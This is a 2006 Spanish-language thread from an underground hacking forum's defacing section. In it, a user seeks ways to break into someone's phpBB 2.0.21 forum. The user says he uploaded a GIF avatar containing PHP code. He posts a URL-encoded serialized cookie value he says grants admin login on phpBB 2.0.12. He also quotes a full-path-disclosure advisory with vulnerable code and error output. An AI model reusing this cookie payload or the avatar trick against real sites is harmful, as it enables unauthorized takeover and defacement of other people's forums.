Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 19, 2008, 04:41:56
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  HacK GeneraL  |  Defacing  |  Tema: Ayuda en hacking phpbb 2.0.21 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ayuda en hacking phpbb 2.0.21  (Leído 2181 veces)
anonimox
Visitante
« en: Agosto 31, 2006, 09:30:13 »

Holas
Yo estoy queriendo hackear un foro phpbb 2.0.21, y no estoy pudiendo encontrar ningun metodo.
Lo unico que pude hacer es subir un archivo como *.gif para mi avatar que contiene unos comandos php.
Pero no puedo hacerlo correr. xq empieza con
 
Citar
GIF89a   
   
(es para que phpbb detecte como un grafico de 1x1)

ya busque por todos lados algun metodo, pero no la encontre para la version 2.0.21.
alguien me puede ayudar con esto, o decirme otro metodo para poder hackaer?

Gracias
En línea
OzX
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2144


http://foro.undersecurity.net


Ver Perfil WWW
« Respuesta #1 en: Agosto 31, 2006, 10:31:47 »

« Última modificación: Agosto 31, 2006, 10:38:06 por OzX » En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
anonimox
Visitante
« Respuesta #2 en: Agosto 31, 2006, 10:50:03 »

gracias por la respuesta OzX
al parecer que si puede funcionar

Citar
phpBB is prone to multiple HTML-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.


pero no entiendo como se podria atacar al foro. no tiene exploit

Citar
Attackers can exploit these issues via a web client.

y como se supone que podriamos acatar? via web client?
En línea
OzX
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2144


http://foro.undersecurity.net


Ver Perfil WWW
« Respuesta #3 en: ſeptiembre 01, 2006, 12:37:12 »

En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
anonimox
Visitante
« Respuesta #4 en: ſeptiembre 01, 2006, 06:54:23 »

Gracias OzX, pero la verdad que yo ya tenia esta tecnica

Por ejemplo si lo pones

Citar
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

En los foros para phpbb 2.0.12

Podras logearte como admin tranquilamente


Pero lo que pasa que el foro esta actucalizado. Y es la ultima version disponible de phpbb.


Y no encuentro nada para esta version.


Encontre tambien esto
----------------------------------------------------------------------

Citar
phpBB 2.0.21 Full Path Disclosure

-------------------------------------------------------------------

Discovered By zero [Moroccan Security Team]

-------------------------------------------------------------------

Details

~~~~~~~

Software: phpBB

Website :
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.phpbb.com/about.php


Version : phpBB 2.0.21 and prior

-------------------------------------------------------------------


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion]=

# Code #

if ( isset($HTTP_POST_VARS['folder']) || isset($HTTP_GET_VARS['folder']) )

{

$folder = ( isset($HTTP_POST_VARS['folder']) ) ? $HTTP_POST_VARS['folder'] : $HTTP_GET_VARS['folder'];

$folder = htmlspecialchars($folder);

if ( $folder != 'inbox' && $folder != 'outbox' && $folder != 'sentbox' && $folder != 'savebox' )

{

$folder = 'inbox';

}

}

else

{

$folder = 'inbox';

}

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/privmsg.php on line 61

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 254

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 255

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/functions.php on line 941

~~~~~~~~~~~~~~~~~~~~


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion]=

# Code #

if ( isset($HTTP_GET_VARS['mode']) || isset($HTTP_POST_VARS['mode']) )

{

$mode = ( isset($HTTP_GET_VARS['mode']) ) ? $HTTP_GET_VARS['mode'] : $HTTP_POST_VARS['mode'];

$mode = htmlspecialchars($mode);

...

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/profile.php on line 77

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/profile.php:77) in /www/phpbb2/includes/functions.php on line 941

~~~~~~~~~~~~~~~~~~~~


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion]=

# Code #

$params = array('submit' => 'post', 'preview' => 'preview', 'delete' => 'delete', 'poll_delete' => 'poll_delete', 'poll_add' => 'add_poll_option', 'poll_edit' => 'edit_poll_option', 'mode' => 'mode');

while( list($var, $param) =  @each($params) )

{

if ( !empty($HTTP_POST_VARS[$param]) || !empty($HTTP_GET_VARS[$param]) )

{

$$var = ( !empty($HTTP_POST_VARS[$param]) ) ? htmlspecialchars($HTTP_POST_VARS[$param]) : htmlspecialchars($HTTP_GET_VARS[$param]);

}

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/posting.php on line 38

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/sessions.php on line 366

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/sessions.php on line 367

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 486

~~~~~~~~~~~~~~~~~~~~


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion]=

# Code #

if ( isset($HTTP_POST_VARS['mode']) || isset($HTTP_GET_VARS['mode']) )

{

$mode = ( isset($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];

$mode = htmlspecialchars($mode);

}

else

{

$mode = '';

}

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/groupcp.php on line 140

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 486

~~~~~~~~~~~~~~~~~~~~


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion]=

# Code #

if ( isset($HTTP_POST_VARS['mode']) || isset($HTTP_GET_VARS['mode']) )

{

$mode = ( isset($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];

$mode = htmlspecialchars($mode);

}

...

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/modcp.php on line 83

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 486

-------------------------------------------------------------------




No se a que se quiso referir , alguien me podria explicar como funciona?


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion]=

a que se iguala?

Gracias



En línea
anonimox
Visitante
« Respuesta #5 en: ſeptiembre 06, 2006, 08:20:05 »

ya se para que sirve phpBB 2.0.21 Full Path Disclosure, es solo para descubrir el directorio donde se ubica el foro. casi no sirve para nada... Sad

al parecer para phpBB 2.0.21 todavia no se descubrio vulnerabilidades grandes.

si alguien tiene uno, por favor me lo pasa a mi, que lo necesito grax Cheesy
En línea
Hitokiri Battousai
Visitante
« Respuesta #6 en: Octubre 12, 2006, 09:02:18 »

En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  HacK GeneraL  |  Defacing  |  Tema: Ayuda en hacking phpbb 2.0.21 « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC